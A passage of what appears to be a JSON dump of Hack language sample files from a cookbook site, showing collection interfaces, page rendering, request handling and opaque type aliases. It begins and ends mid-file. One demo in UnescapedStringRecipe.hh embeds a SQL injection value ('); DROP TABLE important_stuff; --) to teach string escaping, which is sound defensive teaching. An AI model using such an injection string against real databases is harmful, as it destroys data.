__OnlyRxIfImpl(\\HH\\Rx\\Traversable::class)>>\n      Traversable<Tu> $traversable,\n    ): Vector<Tu>;\n\n    /**\n     * Returns the first value in the current `Map`.\n     *\n     * @return - The first value in the current `Map`,  or `null` if the `Map` is\n     *           empty.\n     */\n    <<__Rx, __MaybeMutable>>\n    public function firstValue(): ?Tv;\n\n    /**\n     * Returns the first key in the current `Map`.\n     *\n     * @return - The first key in the current `Map`, or `null` if the `Map` is\n     *           empty.\n     */\n    <<__Rx, __MaybeMutable>>\n    public function firstKey(): ?Tk;\n\n    /**\n     * Returns the last value in the current `Map`.\n     *\n     * @return - The last value in the current `Map`, or `null` if the `Map` is\n     *           empty.\n     */\n    <<__Rx, __MaybeMutable>>\n    public function lastValue(): ?Tv;\n\n    /**\n     * Returns the last key in the current `Map`.\n     *\n     * @return - The last key in the current `Map`, or `null` if the `Map` is\n     *           empty.\n     */\n    <<__Rx, __MaybeMutable>>\n    public function lastKey(): ?Tk;\n\n    /**\n     * Checks if the current `Map` is empty.\n     *\n     * @return - `true` if the current `Map` is empty; `false` otherwise.\n     */\n    <<__Rx, __MaybeMutable>>\n    public function isEmpty(): bool;\n\n    /**\n     * Provides the number of elements in the current `Map`.\n     *\n     * @return - The number of elements in the current `Map`.\n     */\n    <<__Rx, __MaybeMutable>>\n    public function count(): int;\n\n    /**\n     * Returns the value at the specified key in the current `Map`.\n     *\n     * If the key is not present, an exception is thrown. If you don't want an\n     * exception to be thrown, use `get()` instead.\n     *\n     * `$v = $map->at($k)` is equivalent to `$v = $map[$k]`.\n     *\n     * @param $k - the key from which to retrieve the value.\n     *\n     * @return - The value at the specified key; or an exception if the key does\n     *           not exist.\n     */\n    <<__Rx, __MaybeMutable>>\n    public function at(Tk $k): Tv;\n\n    /**\n     * Returns the value at the specified key in the current `Map`.\n     *\n     * If the key is not present, `null` is returned. If you would rather have an\n     * exception thrown when a key is not present, then use `at()`.\n     *\n     * @param $k - the key from which to retrieve the value.\n     *\n     * @return - The value at the specified key; or `null` if the key does not\n     *           exist.\n     */\n    <<__Rx, __MaybeMutable>>\n    public function get(Tk $k): ?Tv;\n\n    /**\n     * Stores a value into the current `Map` with the specified key, overwriting\n     * the previous value associated with the key.\n     *\n     * This method is equivalent to `Map::add()`. If the key to set does not exist,\n     * it is created. This is inconsistent with, for example, `Vector::set()`\n     * where if the key is not found, an exception is thrown.\n     *\n     * `$map->set($k,$v)` is equivalent to `$map[$k] = $v` (except that `set()`\n     * returns the current `Map`).\n     *\n     * Future changes made to the current `Map` ARE reflected in the returned\n     * `Map`, and vice-versa.\n     *\n     * @param $k - The key to which we will set the value.\n     * @param $v - The value to set.\n     *\n     * @return - Returns itself.\n     */\n    <<__Rx, __Mutable, __ReturnsVoidToRx>>\n    public function set(Tk $k, Tv $v): Map<Tk, Tv>;\n\n    /**\n     * For every element in the provided `Traversable`, stores a value into the\n     * current `Map` associated with each key, overwriting the previous value\n     * associated with the key.\n     *\n     * This method is equivalent to `Map::addAll()`. If a key to set does not\n     * exist in the Map that does exist in the `Traversable`, it is created. This\n     * is inconsistent with, for example, the method `Vector::setAll()` where if\n     * a key is not found, an exception is thrown.\n     *\n     * Future changes made to the current `Map` ARE reflected in the returned\n     * `Map`, and vice-versa.\n     *\n     * @param $k - The `Traversable` with the new values to set. If `null` is\n     *             provided, no changes are made.\n     *\n     * @return - Returns itself.\n     */\n    <<__Rx, __Mutable, __AtMostRxAsArgs, __ReturnsVoidToRx>>\n    public function setAll(\n      <<__MaybeMutable, __OnlyRxIfImpl(\\HH\\Rx\\KeyedTraversable::class)>>\n      ?KeyedTraversable<Tk, Tv> $it,\n    ): Map<Tk, Tv>;\n\n    /**\n     * Remove all the elements from the current `Map`.\n     *\n     * Future changes made to the current `Map` ARE reflected in the returned\n     * `Map`, and vice-versa.\n     *\n     * @return - Returns itself.\n     */\n    <<__Rx, __Mutable, __ReturnsVoidToRx>>\n    public function clear(): Map<Tk, Tv>;\n\n    /**\n     * Determines if the specified key is in the current `Map`.\n     *\n     * This function is interchangeable with `containsKey()`.\n     *\n     * @param $k - The key to check.\n     *\n     * @return - `true` if the specified key is present in the current `Map`;\n     *           returns `false` otherwise.\n     *\n     * @guide /hack/generics/constraints\n     */\n    <<__Rx, __MaybeMutable>>\n    public function contains(mixed $k): bool;\n\n    /**\n     * Determines if the specified key is in the current `Map`.\n     *\n     * This function is interchangeable with `contains()`.\n     *\n     * @param $k - The key to check.\n     *\n     * @return - `true` if the specified key is present in the current `Map`;\n     *           returns `false` otherwise.\n     *\n     * @guide /hack/generics/constraints\n     */\n    <<__Rx, __MaybeMutable>>\n    public function containsKey(mixed $k): bool;\n\n    /**\n     * Add a key/value pair to the end of the current `Map`.\n     *\n     * This method is equivalent to `Map::set()`. If the key in the  `Pair`\n     * exists in the `Map`,  the value associated with it is overwritten.\n     *\n     * `$map->add($p)` is equivalent to both `$map[$k] = $v` and\n     * `$map[] = Pair {$k, $v}` (except that `add()` returns the `Map`).\n     *\n     * Future changes made to the current `Map` ARE reflected in the returned\n     * `Map`, and vice-versa.\n     *\n     * @param $p - The key/value Pair to add to the current `Map`.\n     *\n     * @return - Returns itself.\n     */\n    <<__Rx, __Mutable, __ReturnsVoidToRx>>\n    public function add(Pair<Tk, Tv> $p): Map<Tk, Tv>;\n\n    /**\n     * For every element in the provided `Traversable`, add a key/value pair into\n     * the current `Map`.\n     *\n     * This method is equivalent to `Map::setAll()`. If a key in the `Traversable`\n     * exists in the `Map`, then the value associated with that key in the `Map`\n     * is overwritten.\n     *\n     * Future changes made to the current `Map` ARE reflected in the returned\n     * `Map`, and vice-versa.\n     *\n     * @param $k - The `Traversable` with the new key/value `Pair` to set. If\n     *             `null` is provided, no changes are made.\n     *\n     * @return - Returns itself.\n     */\n    <<__Rx, __Mutable, __AtMostRxAsArgs, __ReturnsVoidToRx>>\n    public function addAll(\n      <<__MaybeMutable, __OnlyRxIfImpl(\\HH\\Rx\\Traversable::class)>>\n      ?Traversable<Pair<Tk, Tv>> $it,\n    ): Map<Tk, Tv>;\n\n    /**\n     * Reserves enough memory to accommodate a given number of elements.\n     *\n     * Reserves enough memory for `sz` elements. If `sz` is less than or\n     * equal to the current capacity of this `Map`, this method does nothing.\n     *\n     * @param $sz - The pre-determined size you want for the current `Map`.\n     */\n    <<__Rx, __Mutable>>\n    public function reserve(int $sz): void;\n\n    /**\n     * Removes the specified key (and associated value) from the current `Map`.\n     *\n     * This method is interchangeable with `removeKey()`.\n     *\n     * Future changes made to the current `Map` ARE reflected in the returned\n     * `Map`, and vice-versa.\n     *\n     * @param $k - The key to remove.\n     *\n     * @return - Returns itself.\n     */\n    <<__Rx, __Mutable, __ReturnsVoidToRx>>\n    public function remove(Tk $k): Map<Tk, Tv>;\n\n    /**\n     * Removes the specified key (and associated value) from the current `Map`.\n     *\n     * This method is interchangeable with `remove()`.\n     *\n     * Future changes made to the current `Map` ARE reflected in the returned\n     * `Map`, and vice-versa.\n     *\n     * @param $k - The key to remove.\n     *\n     * @return - Returns itself.\n     */\n    <<__Rx, __Mutable, __ReturnsVoidToRx>>\n    public function removeKey(Tk $k): Map<Tk, Tv>;\n\n    /**\n     * Returns a new `Map` with the keys that are in the current `Map`, but not\n     * in the provided `KeyedTraversable`.\n     *\n     * @param $traversable - The `KeyedTraversable` on which to compare the keys.\n     *\n     * @return - A `Map` containing the keys (and associated values) of the\n     *           current `Map` that are not in the `KeyedTraversable`.\n     */\n    <<__Rx, __AtMostRxAsArgs, __MutableReturn, __MaybeMutable>>\n    public function differenceByKey(\n      <<__MaybeMutable, __OnlyRxIfImpl(\\HH\\Rx\\KeyedTraversable::class)>>\n      KeyedTraversable<Tk, Tv> $traversable,\n    ): Map<Tk, Tv>;\n\n    /**\n     * Returns an iterator that points to beginning of the current `Map`.\n     *\n     * @return - A `KeyedIterator` that allows you to traverse the current `Map`.\n     */\n    <<__Rx, __MutableReturn, __MaybeMutable>>\n    public function getIterator(): \\HH\\Rx\\KeyedIterator<Tk, Tv>;\n\n    /**\n     * Returns a `Map` containing the key/value pairs from the specified `array`.\n     *\n     * This function is deprecated. Use `new `Map`($arr)` instead.\n     *\n     * @param $arr - The `array` to convert to a `Map`.\n     *\n     * @return - A `Map` with the key/value pairs from the provided `array`.\n     */\n    <<__Deprecated('Use `new Map($arr)` instead.')>>\n    public static function fromArray(darray<Tk, Tv> $arr): Map<Tk, Tv>;\n\n    /**\n     * Creates a `Map` from the given `Traversable`, or an empty `Map` if\n     * `null` is passed.\n     *\n     * This is the static method version of the `Map::__construct()` constructor.\n     *\n     * @param $items - any `Traversable` object from which to create a `Map`\n     *                 (e.g., `array`). If `null`, then an empty `Map` is created.\n     *\n     * @return - A `Map` with the key/value pairs from the `Traversable`; or an\n     *           empty `Map` if the `Traversable` is `null`.\n     */\n    <<__Rx, __AtMostRxAsArgs, __MutableReturn>>\n    public static function fromItems(\n      <<__MaybeMutable, __OnlyRxIfImpl(\\HH\\Rx\\Traversable::class)>>\n      ?Traversable<Pair<Tk, Tv>> $items,\n    ): Map<Tk, Tv>;\n\n    /**\n     * Returns the `string` version of the current `Map`, which is `\"Map\"`.\n     *\n     * @return - The `string` `\"Map\"`.\n     */\n    <<__Rx, __MaybeMutable>>\n    public function __toString(): string;\n\n    /**\n     * Returns an `Iterable` view of the current `Map`.\n     *\n     * The `Iterable` returned is one that produces the key/values from the\n     * current `Map`.\n     *\n     * @return - The `Iterable` view of the current `Map`.\n     */\n    <<__Rx, __MutableReturn, __MaybeMutable>>\n    public function items(): \\HH\\Rx\\Iterable<Pair<Tk, Tv>>;\n    <<__Rx, __MaybeMutable>>\n    /* HH_FIXME[0002] */\n  public function toVArray(): varray<Tv>;\n    <<__Rx, __MaybeMutable>>\n    /* HH_FIXME[0001] */\n  public function toDArray(): darray<Tk, Tv>;\n  }\n\n} // namespace HH\n\nnamespace {\n\n  /**\n   * @internal\n   *\n   * Methods and functions should take and return the KeyedIterator interface.\n   */\n  class MapIterator<Tk, +Tv> implements HH\\Rx\\KeyedIterator<Tk, Tv> {\n    <<__Rx>>\n    public function __construct();\n    <<__Rx, __MaybeMutable>>\n    public function current(): Tv;\n    <<__Rx, __MaybeMutable>>\n    public function key(): Tk;\n    <<__Rx, __MaybeMutable>>\n    public function valid(): bool;\n    <<__Rx, __Mutable>>\n    public function next(): void;\n    <<__Rx, __Mutable>>\n    public function rewind(): void;\n  }\n\n} // namespace\n"
  },
  {
    "path": "samples/Hack/MySecureRequest.hh",
    "content": "<?hh // strict\n\nrequire_once $_SERVER['DOCUMENT_ROOT'].'/core/funs/init.php';\n\nfinal class MySecureRequest {\n  public function __construct(private Map<string, mixed> $GETParams) {}\n  public function stringParam(string $name): UNESCAPED_STRING {\n    invariant($this->GETParams->contains($name), 'Unknown GET param: '.$name);\n    $raw_string = $this->GETParams[$name];\n    invariant(is_string($raw_string), $name.' is not a string');\n    return unescaped_string($raw_string);\n  }\n}\n"
  },
  {
    "path": "samples/Hack/Nav.hh",
    "content": "<?hh // strict\n/**\n * Copyright (c) 2014, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n */\n\nrequire_once $_SERVER['DOCUMENT_ROOT'].'/vendor/hhvm/xhp/src/init.php';\n\ntype NavItem = shape(\n  'name' => string,\n  'location' => string,\n);\n\ntype NavSection = shape(\n  'name' => string,\n  'location' => ?string,\n  'items' => Vector<NavItem>,\n);\n\nfinal class :hack:nav extends :x:element {\n  private function getNavSections(): Vector<NavSection> {\n    return Vector{\n      shape(\n        'name' => 'Home',\n        'location' => '/',\n        'items' => Vector {},\n      ),\n      shape(\n        'name' => 'GitHub',\n        'location' => 'http://github.com/facebook/hack-example-site',\n        'items' => Vector {},\n      ),\n      shape(\n        'name' => 'Recipes',\n        'location' => null,\n        'items' => Vector {\n          shape(\n            'name' => '$_GET and $_POST',\n            'location' => '/recipes/get-and-post/',\n          ),\n          shape(\n            'name' => 'Assert',\n            'location' => '/recipes/assert/',\n          ),\n          shape(\n            'name' => 'DB Result',\n            'location' => '/recipes/db-result/',\n          ),\n          shape(\n            'name' => 'Unescaped String',\n            'location' => '/recipes/unescaped-string/',\n          ),\n          shape(\n            'name' => 'User ID',\n            'location' => '/recipes/user-id/',\n          ),\n        },\n      ),\n    };\n  }\n\n  private function renderNavItems(Vector<NavItem> $items): :xhp {\n    $render_item = $item ==>\n      <li>\n        <a class=\"navItem\" href={$item['location']}>\n          {$item['name']}\n        </a>\n      </li>;\n    return\n      <x:frag>\n        {$items->map($render_item)->toArray()}\n      </x:frag>;\n  }\n\n  private function renderNavSection(NavSection $section): :xhp {\n    $section_item = <h3 class=\"navItem\">{$section['name']}</h3>;\n    if ($section['location'] !== null) {\n      $section_item = <a href={$section['location']}>{$section_item}</a>;\n    }\n    return\n      <li class=\"navSectionItem\">\n        {$section_item}\n        <ul class=\"navItems\">\n          {$this->renderNavItems($section['items'])}\n        </ul>\n      </li>;\n  }\n\n  public function render(): :xhp {\n    $sections = $this->getNavSections()\n      ->map($section ==> $this->renderNavSection($section));\n    return\n      <div class=\"nav\">\n        <ul class=\"navSections\">\n          {$sections->toArray()}\n        </ul>\n      </div>;\n  }\n}\n"
  },
  {
    "path": "samples/Hack/NonStrictFile.hh",
    "content": "<?hh\n/**\n * Copyright (c) 2014, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n */\n\nfunction getGETParams(): Map<string, mixed> {\n  // $_GET is not defined in code so Hack doesn't know about it and you can't\n  // use it in strict mode. You can interact with it outside of strict mode,\n  // though.\n  return Map::fromArray($_GET);\n}\n\nfunction getPOSTParams(): Map<string, mixed> {\n  // Same deal with $_POST and other magically defined globals\n  return Map::fromArray($_POST);\n}\n\n// Same deal with $_SERVER\nfunction isGET(): bool {\n  return $_SERVER['REQUEST_METHOD'] === 'GET';\n}\n"
  },
  {
    "path": "samples/Hack/Recipe.hh",
    "content": "<?hh // strict\n/**\n * Copyright (c) 2014, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n */\n\nrequire_once $_SERVER['DOCUMENT_ROOT'].'/core/controller/init.php';\nrequire_once $_SERVER['DOCUMENT_ROOT'].'/core/controller/standard-page/init.php';\nrequire_once $_SERVER['DOCUMENT_ROOT'].'/core/myxhp/init.php';\n\nabstract class Recipe extends GetController {\n  use StandardPage;\n\n  abstract protected function getName(): string;\n  abstract protected function getFilenames(): Vector<string>;\n  abstract protected function getDocs(): Vector<(string, string)>;\n\n  protected function getDescription(): ?string {\n    return null;\n  }\n\n  final protected function getTitle(): string {\n    return $this->getName().' - Hack Cookbook';\n  }\n\n  final protected function renderMainColumn(): :xhp {\n    $main_column =\n      <x:frag>\n        <h1>{$this->getName()}</h1>\n      </x:frag>;\n    $description = $this->getDescription();\n    if ($description !== null) {\n      $main_column->appendChild(<p>{$description}</p>);\n    }\n    foreach ($this->getFilenames() as $filename) {\n      $file =\n        <div class=\"file\">\n          <div class=\"filename\">{$filename}</div>\n          <phpfile filename={$filename}/>\n        </div>;\n      $main_column->appendChild($file);\n    }\n    $recipe = $this;\n    if ($recipe instanceof RecipeWithDemo) {\n      try {\n        $result = $recipe->getDemoResult();\n      } catch (Exception $e) {\n        $result = sprintf(\n          \"Demo threw an %s:\\n%s\",\n          get_class($e),\n          $e->getMessage(),\n        );\n      }\n      $result = explode(\"\\n\", trim($result));\n      $result = array_map($x ==> <x:frag>{$x}<br/></x:frag>, $result);\n      $demo =\n        <x:frag>\n          <div class=\"demo\" id=\"demo\">\n            <h3>Demo</h3>\n            {$recipe->getDemoXHP()}\n            <div class=\"filename\">{$recipe->getDemoFilename()}</div>\n            <phpfile filename={$recipe->getDemoFilename()}/>\n            <div class=\"filename\">Output</div>\n            <div class=\"demoResult\">\n              {$result}\n            </div>\n          </div>\n        </x:frag>;\n      $main_column->appendChild($demo);\n    }\n    if (!$this->getDocs()->isEmpty()) {\n      $render_doc_link = function($doc) {\n        list($name, $link) = $doc;\n        $link = \"http://hhvm.com/manual/en/$link.php\";\n        return <li><a href={$link}>{$name}</a></li>;\n      };\n      $main_column->appendChild(\n        <div class=\"docs\">\n          <h3>Relevant Official Documentation</h3>\n          <ul>\n            {$this->getDocs()->map($render_doc_link)->toArray()}\n          </ul>\n        </div>\n      );\n    }\n    return $main_column;\n  }\n}\n"
  },
  {
    "path": "samples/Hack/RecipeWithDemo.hh",
    "content": "<?hh // strict\n/**\n * Copyright (c) 2014, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n */\n\ninterface RecipeWithDemo {\n  public function getDemoFilename(): string;\n  public function getDemoResult(): string;\n  public function getDemoXHP(): ?:xhp;\n}\n"
  },
  {
    "path": "samples/Hack/Request.hh",
    "content": "<?hh // strict\n/**\n * Copyright (c) 2014, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n */\n\nfinal class Request {\n  public function __construct(private Map<string, mixed> $params) {}\n}\n\n"
  },
  {
    "path": "samples/Hack/StandardPage.hh",
    "content": "<?hh // strict\n/**\n * Copyright (c) 2014, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n */\n\ntrait StandardPage {\n  require extends Controller;\n\n  abstract protected function renderMainColumn(): :xhp;\n\n  protected function getExtraCSS(): Set<string> {\n    return Set {};\n  }\n\n  protected function getExtraJS(): Set<string> {\n    return Set {};\n  }\n\n  final protected function getCSS(): Set<string> {\n    return (Set {\n      '/css/base.css',\n    })->addAll($this->getExtraCSS());\n  }\n\n  final protected function getJS(): Set<string> {\n    return (Set {\n    })->addAll($this->getExtraJS());\n  }\n\n  final private function renderHeader(): :xhp {\n    return\n      <div class=\"hackHeader\">\n        <div class=\"width\">\n          <a href=\"http://hacklang.org/\">\n            <div class=\"logo\">Hack</div>\n          </a>\n          <div class=\"headerNav\">\n          <ul>\n            <li>\n              <a href=\"http://hacklang.org/install/\">Install</a>\n            </li>\n            <li>\n              <a href=\"http://hacklang.org/tutorial/\">Tutorial</a>\n            </li>\n            <li>\n              <a href=\"/\">Cookbook</a>\n            </li>\n            <li>\n              <a href=\"http://hhvm.com/manual\">Docs</a>\n            </li>\n            <li>\n              <a href=\"http://github.com/facebook/hhvm\">GitHub</a>\n            </li>\n            <li>\n              <a href=\"http://hhvm.com/\">HHVM</a>\n            </li>\n          </ul>\n          </div>\n        </div>\n      </div>;\n  }\n\n  final protected function render(): :xhp {\n    return\n      <div>\n        {$this->renderHeader()}\n        <div class=\"width\">\n          <div class=\"mainContainer\">\n            <div class=\"mainColumn\">{$this->renderMainColumn()}</div>\n            <hack:nav/>\n          </div>\n        </div>\n    </div>;\n  }\n}\n"
  },
  {
    "path": "samples/Hack/StrictFile.hh",
    "content": "<?hh // strict\n/**\n * Copyright (c) 2014, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n */\n\nrequire_once $_SERVER['DOCUMENT_ROOT'].'/core/funs/init.php';\n\nabstract class MyRequest {\n  abstract public function getParams(): Map<string, mixed>;\n\n  // Throws when things go wrong\n  public function intParamX(string $name): int {\n    $params = $this->getParams();\n    invariant($params->contains($name), sprintf('Unknown param: %s', $name));\n    $param = $params[$name];\n    invariant(is_numeric($param), sprintf('Param %s is not an int', $name));\n    return (int)$param;\n  }\n\n  // A lenient version\n  public function intParam(string $name): ?int {\n    $params = $this->getParams();\n    if (!$params->contains($name)) { return null; }\n    $param = $params[$name];\n    if (!is_numeric($param)) { return null; }\n    return (int)$param;\n  }\n}\n\nfinal class MyGETRequest extends MyRequest {\n  public function getParams(): Map<string, mixed> {\n    return getGETParams();\n  }\n}\n\nfinal class MyPOSTRequest extends MyRequest {\n  public function getParams(): Map<string, mixed> {\n    return getPOSTParams();\n  }\n}\n"
  },
  {
    "path": "samples/Hack/UnescapedString.hh",
    "content": "<?hh // strict\n\n// Outside of this file, no one knows that UNESCAPED_STRING is a string\nnewtype UNESCAPED_STRING = string;\n\n// This is how we initially taint a string.\nfunction unescaped_string(string $s): UNESCAPED_STRING {\n  return $s;\n}\n\n// This is the only thing you can do with an UNESCAPED_STRING (other than pass\n// it around)\nfunction escape_unescaped_string(UNESCAPED_STRING $s): string {\n  // Your use case will decide how you want to escape your strings\n  return sprintf('Escaped ---> \"%s\" <--- Escaped', $s);\n}\n"
  },
  {
    "path": "samples/Hack/UnescapedStringRecipe.hh",
    "content": "<?hh // strict\n/**\n * Copyright (c) 2014, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n */\n\nrequire_once $_SERVER['DOCUMENT_ROOT'].'/core/controller/recipe/init.php';\nrequire_once \"demo.php\";\n\nclass UnescapedStringRecipe extends Recipe implements RecipeWithDemo {\n\n  protected function getName(): string {\n    return 'Unescaped string';\n  }\n\n  <<Override>>\n  protected function getDescription(): ?string {\n    return 'Forgetting to properly escape the strings you get from your users '.\n      'can lead to serious security holes. Hack can help by forcing you to '.\n      'escape these strings before using them as strings.';\n  }\n\n  protected function getFilenames(): Vector<string> {\n    return Vector {\n      'UnescapedString.php',\n      'MySecureRequest.php',\n    };\n  }\n\n  protected function getDocs(): Vector<(string, string)> {\n    return Vector{\n      tuple('Opaque Type Aliasing',  'hack.typealiasing.opaquetypealiasing'),\n    };\n  }\n\n  public function getDemoFilename(): string {\n    return 'demo.php';\n  }\n\n  public function getDemoResult(): string {\n    return unescaped_string_main();\n  }\n\n  public function getDemoXHP(): ?:xhp {\n    $url = '/recipes/unescaped-string/';\n    return\n      <x:frag>\n        Try setting the myStrParam GET param to something nice and innocent with this button...\n        <div>\n          <a href={\"$url?myStrParam='); DROP TABLE important_stuff; --#demo\"} class=\"button\">GET myStrParam=Hello world</a>\n        </div>\n      </x:frag>;\n  }\n}\n"
  },
  {
    "path": "samples/Hack/UserID.hh",
    "content": "<?hh // strict\n/**\n * Copyright (c) 2014, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n */\nrequire_once $_SERVER['DOCUMENT_ROOT'].'/core/funs/init.php';\n\n// Outside of this file, no one knows that these types are ints. They do know\n// that USER_ID is an ID and COW_ID is an ID\nnewtype ID = int;\nnewtype USER_ID as ID = ID;\nnewtype COW_ID as ID = ID;\n\nfunction assert_user_id(int $x): USER_ID {\n  // Everyone knows all user ids are odd\n  invariant($x % 2, sprintf('Invalid user ID: %d', $x));\n  return $x;\n}\n\nfunction assert_cow_id(int $x): COW_ID {\n  // Everyone knows all cow ids are even\n  invariant($x % 2 === 0, sprintf('Invalid cow ID: %d', $x));\n  return $x;\n}\n\nfunction id_to_int(ID $id): int {\n  return $id;\n}\n"
  },
  {
    "path": "samples/Hack/UserIDRecipe.hh",
    "content": "<?hh // strict\n/**\n * Copyright (c) 2014, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n */\n\nrequire_once $_SERVER['DOCUMENT_ROOT'].'/core/controller/recipe/init.php';\nrequire_once \"demo.php\";\n\nclass UserIDRecipe extends Recipe implements RecipeWithDemo {\n\n  protected function getName(): string {\n    return 'User ID';\n  }\n\n  <<Override>>\n  protected function getDescription(): ?string {\n    return 'Protect your user IDs from being confused with normal ints';\n  }\n\n  protected function getFilenames(): Vector<string> {\n    return Vector {\n      'UserID.php',\n      'UsingUserID.php',\n    };\n  }\n\n  protected function getDocs(): Vector<(string, string)> {\n    return Vector {\n      tuple('Opaque Type Aliasing',  'hack.typealiasing.opaquetypealiasing'),\n      tuple(\n        'Opaque Type Aliasing with Constraints',\n        'hack.typealiasing.opaquewithconstraints',\n      ),\n    };\n  }\n\n  public function getDemoFilename(): string {\n    return 'demo.php';\n  }\n\n  public function getDemoResult(): string {\n    return user_id_main();\n  }\n\n  public function getDemoXHP(): ?:xhp {\n    return null;\n  }\n}\n"
  },
  {
    "path": "samples/Hack/UsingUserID.hh",
    "content": "<?hh // strict\n/**\n * Copyright (c) 2014, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n */\n\nfunction get_something_string(ID $id, string $something): string {\n  return sprintf(\"Awesome %s #%d\\n\", $something, id_to_int($id));\n}\n\nfunction get_user_string(USER_ID $id): string {\n  return get_something_string($id, 'user');\n}\n\nfunction get_cow_string(COW_ID $id): string {\n  return get_something_string($id, 'cow');\n}\n"
  },
  {
    "path": "samples/Hack/error.hh",
    "content": "<?hh\n/**\n * Copyright (c) 2014, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n */\n\nfinal class TypehintViolationException extends Exception {\n}\n\nfunction setup_errors(): void {\n  set_error_handler('handle_error', E_ALL);\n}\n\n/**\n * I want to turn failed typehints into exceptions so that I can handle them in\n * my example code\n */\nfunction handle_error(\n  $errno,\n  $errstr,\n  $errfile,\n  $errline,\n  $errcontext = array(),\n  $errtrace = array(),\n): bool {\n  if (E_RECOVERABLE_ERROR == $errno) {\n    // Transform typehint failures into an exception.\n    if (strpos($errstr, 'must be an instance of ') !== false) {\n      throw new TypehintViolationException($errstr);\n    }\n    // Transform nullable type violations to exceptions.\n    if ((strpos($errstr, 'must be of type ?') !== false) &&\n        (strpos($errstr, 'Value returned from') === false)) {\n      throw new TypehintViolationException($errstr);\n    }\n  }\n  return false;\n}\n"
  },
  {
    "path": "samples/Hack/first.hack",
    "content": "// from https://docs.hhvm.com/hack/getting-started/getting-started\n// note: no <?hh header needed for .hack files\n\nnamespace Hack\\GettingStarted\\MyFirstProgram;\n\n<<__EntryPoint>>\nfunction main(): noreturn{\n  echo \"Welcome to Hack!\\n\\n\";\n\n  \\printf(\"Table of Squares\\n\" .\n          \"----------------\\n\");\n  for ($i = -5; $i <= 5; ++$i) {\n    \\printf(\"  %2d        %2d  \\n\", $i, $i * $i);\n  }\n  \\printf(\"----------------\\n\");\n  exit(0);\n}\n"
  },
  {
    "path": "samples/Hack/funs.hh",
    "content": "<?hh\n/**\n * Copyright (c) 2014, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n */\n\n/**\n * This file contains a bunch of php stubs for functions that have been added\n * to hhvm (though aren't in a release yet). These are important because the\n * Hack typechecker can understand them\n */\n\nclass InvariantViolationException extends Exception {}\n\nfunction invariant(mixed $test, string $message): void {\n  if (!$test) {\n    invariant_violation($message);\n  }\n}\n\nfunction invariant_violation(string $message): void {\n  throw new InvariantViolationException($message);\n}\n\nfunction class_meth(string $class, string $method) {\n  return array($class, $method);\n}"
  },
  {
    "path": "samples/Hack/funs.php",
    "content": "<?hh\n/**\n * Copyright (c) 2014, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n */\n\n/**\n * This file contains a bunch of php stubs for functions that have been added\n * to hhvm (though aren't in a release yet). These are important because the\n * Hack typechecker can understand them\n */\n\nclass InvariantViolationException extends Exception {}\n\nfunction invariant(mixed $test, string $message): void {\n  if (!$test) {\n    invariant_violation($message);\n  }\n}\n\nfunction invariant_violation(string $message): void {\n  throw new InvariantViolationException($message);\n}\n\nfunction class_meth(string $class, string $method) {\n  return array($class, $method);\n}"
  },
  {
    "path": "samples/Hack/index.hh",
    "content": "<?hh\n/**\n * Copyright (c) 2014, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n */\n\nrequire_once 'HomeController.php';\n\nHomeController::go($_GET);\n"
  },
  {
    "path": "samples/Hack/phpfile.hh",
